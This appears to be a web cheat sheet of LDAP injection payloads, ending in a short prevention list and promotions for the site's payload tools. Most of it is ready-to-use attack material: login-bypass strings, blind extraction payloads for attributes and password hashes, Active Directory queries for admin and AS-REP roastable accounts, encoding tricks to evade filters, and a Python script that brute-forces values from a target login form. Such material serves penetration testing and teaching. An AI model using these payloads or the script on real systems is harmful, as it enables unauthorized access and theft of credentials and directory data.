LDAP Injection Payloads: Authentication Bypass & Data Extraction (2025)
LDAP (Lightweight Directory Access Protocol) injection is a server-side attack that exploits applications constructing LDAP queries from unsanitized user input. LDAP directories power authentication systems, employee directories, and access control in most enterprise environments — making LDAP injection a high-impact vulnerability that can lead to full authentication bypass and sensitive data extraction.
Understanding LDAP Query Syntax
Before exploiting LDAP injection, you need to understand how LDAP search filters work. LDAP uses a prefix notation with parentheses:
# Basic equality filter
(cn=John Smith)
# Wildcard filter
(cn=John*)
# Logical AND
(&(objectClass=user)(cn=admin))
# Logical OR
(|(cn=admin)(cn=root))
# Logical NOT
(!(cn=guest))
# Nested compound filter
(&(objectClass=user)(|(cn=admin)(cn=root)))
Applications typically build these filters by inserting user input directly — for example, (&(uid=USER_INPUT)(userPassword=PASS_INPUT)). If the input is not sanitized, an attacker can manipulate the filter logic.
Authentication Bypass Techniques
Classic Filter Injection
The most common LDAP injection targets login forms that construct filters like (&(uid=INPUT)(userPassword=INPUT)):
# Bypass by closing the filter and adding always-true condition
Username: *)(objectClass=*)(&(uid=*
Password: anything
# Resulting filter:
(&(uid=*)(objectClass=*)(&(uid=*)(userPassword=anything))
# Simpler bypass — inject wildcard
Username: *
Password: *
# Resulting filter:
(&(uid=*)(userPassword=*))
# NULL byte termination (older LDAP servers)
Username: admin)%00
Password: anything
# Resulting filter (truncated at null):
(&(uid=admin)
The null byte technique works because some LDAP libraries use C-style string handling where %00 terminates the string, effectively ignoring the password check.
OR-Based Bypass
# Inject OR condition to match any user
Username: *)(|(uid=*
Password: anything
# Resulting filter:
(&(uid=*)(|(uid=*)(userPassword=anything))
# Target specific admin accounts
Username: admin)(|(objectClass=*
Password: anything
Comment Injection
Some LDAP implementations support comments or can be tricked with specific character sequences:
# Active Directory specific
Username: admin)(&)
Password: anything
# Inject always-true sub-filter
Username: *))%00
Password: anything
Blind LDAP Injection
When the application does not return LDAP data directly, you can still extract information using boolean-based blind techniques — similar to blind SQL injection.
Boolean-Based Extraction
# Test if admin user exists
*)(uid=admin)(&(uid=*
# Extract attributes character by character
# Test if admin's description starts with 'S'
admin)(description=S*)(&(uid=admin
# Test if it starts with 'Se'
admin)(description=Se*)(&(uid=admin
# Test if it starts with 'Sec'
admin)(description=Sec*)(&(uid=admin
# Continue until full value is extracted
admin)(description=Security*)(&(uid=admin
Enumerating User Attributes
# Test for existence of specific attributes
*)(telephoneNumber=*)(&(uid=* # Has phone number?
*)(mail=*)(&(uid=* # Has email?
*)(memberOf=*)(&(uid=* # Has group membership?
*)(userPassword=*)(&(uid=* # Has password attribute?
*)(sshPublicKey=*)(&(uid=* # Has SSH key?
*)(description=*)(&(uid=* # Has description?
# Enumerate group memberships
admin)(memberOf=cn=Domain Admins*)(&(uid=admin
admin)(memberOf=cn=IT*)(&(uid=admin
admin)(memberOf=cn=VPN*)(&(uid=admin
Data Extraction via Filter Manipulation
Wildcard-Based Enumeration
# Enumerate all usernames starting with each letter
*)(uid=a*)(&(uid=*
*)(uid=b*)(&(uid=*
*)(uid=c*)(&(uid=*
...
# Narrow down character by character
*)(uid=ad*)(&(uid=*
*)(uid=adm*)(&(uid=*
*)(uid=admi*)(&(uid=*
*)(uid=admin*)(&(uid=*
# Extract email addresses
*)(mail=*@company.com)(&(uid=*
*)(mail=a*@company.com)(&(uid=*
Extracting Password Hashes
# If userPassword is returned in results
*)(userPassword=*)(&(uid=*
# Blind extraction of password hashes
admin)(userPassword=\7b*)(&(uid=admin # starts with {
admin)(userPassword=\7bS*)(&(uid=admin # starts with {S
admin)(userPassword=\7bSS*)(&(uid=admin # starts with {SS (SSHA hash)
admin)(userPassword=\7bSSHA\7d*)(&(uid=admin
Advanced Filter Manipulation
Attribute Injection
In some cases, you can inject additional attributes into the search request:
# If the application uses a search like:
# ldapsearch -b "dc=company,dc=com" "(uid=INPUT)" cn mail
# Inject to request sensitive attributes
*)(uid=*))(|(uid=*
# Object class enumeration
*)(objectClass=person)(&(uid=*
*)(objectClass=organizationalUnit)(&(uid=*
*)(objectClass=computer)(&(uid=*
*)(objectClass=group)(&(uid=*
DN (Distinguished Name) Injection
# If user input is placed in DN context
# Normal: cn=INPUT,ou=users,dc=company,dc=com
# Injected:
admin,ou=users,dc=company,dc=com
admin,ou=admins,dc=company,dc=com
# Escape sequence abuse
admin\,ou=admins,ou=users,dc=company,dc=com
LDAP Injection in Different Contexts
Search Filter Injection
# User search functionality
# Application: (&(objectClass=user)(cn=INPUT))
*)(objectClass=*)(&(cn=* # Return all objects
*)(|(cn=admin)(cn=root))(&(cn=* # Find admin accounts
*)(userAccountControl=512)(&(cn=* # Find enabled accounts
*)(userAccountControl=514)(&(cn=* # Find disabled accounts
Active Directory Specific
# Find domain admins
*)(memberOf=cn=Domain Admins,cn=Users,dc=corp,dc=com)(&(cn=*
# Find service accounts
*)(servicePrincipalName=*)(&(cn=*
# Find accounts with no password expiry
*)(userAccountControl:1.2.840.113556.1.4.803:=65536)(&(cn=*
# Find accounts with Kerberos pre-auth disabled (AS-REP roastable)
*)(userAccountControl:1.2.840.113556.1.4.803:=4194304)(&(cn=*
Encoding and Evasion
LDAP special characters can be encoded to bypass input filters. Use our Encoder/Decoder tool for quick encoding:
# LDAP special characters that need escaping
* \2a ( \28 ) \29 \ \5c NUL \00
# URL-encoded variants for HTTP parameters
%2a %28 %29 %5c %00
# Double encoding
%252a %2528 %2529 %255c %2500
# Unicode variants
%u002a %u0028 %u0029
# Mixed encoding payloads
%2a%29%28objectClass%3d%2a%29%28%26%28uid%3d%2a
Automation with Scripts
# Python script for blind LDAP extraction
import requests
url = "https://target.com/login"
charset = "abcdefghijklmnopqrstuvwxyz0123456789"
extracted = ""
for position in range(50):
found = False
for char in charset:
payload = f"admin)(description={extracted}{char}*)(&(uid=admin"
data = {"username": payload, "password": "anything"}
resp = requests.post(url, data=data)
if "Welcome" in resp.text:
extracted += char
print(f"Found: {extracted}")
found = True
break
if not found:
break
print(f"Extracted value: {extracted}")
Prevention
- Never concatenate user input into LDAP filters — use parameterized LDAP queries or SDK methods that handle escaping
- Escape LDAP special characters:
( ) * \ NULusing RFC 4515 encoding - Validate input against a strict allowlist (alphanumeric only for usernames)
- Use LDAP bind operations for authentication instead of search-and-compare
- Implement least-privilege LDAP service accounts that cannot read sensitive attributes
- Enable LDAP query logging and monitor for anomalous filter patterns
Generate LDAP injection payloads automatically with our LDAP Injection Generator. For encoding payloads, use the Encoder/Decoder. See related injection techniques in the SQL Injection Cheat Sheet and the Command Injection Generator for chaining attacks after gaining LDAP access.
Level up your security testing
Install the CLI
npx payload-playgroundExplore All Tools
Encoding, hashing, JWT & more
Browse Cheat Sheets
Quick-reference payload guides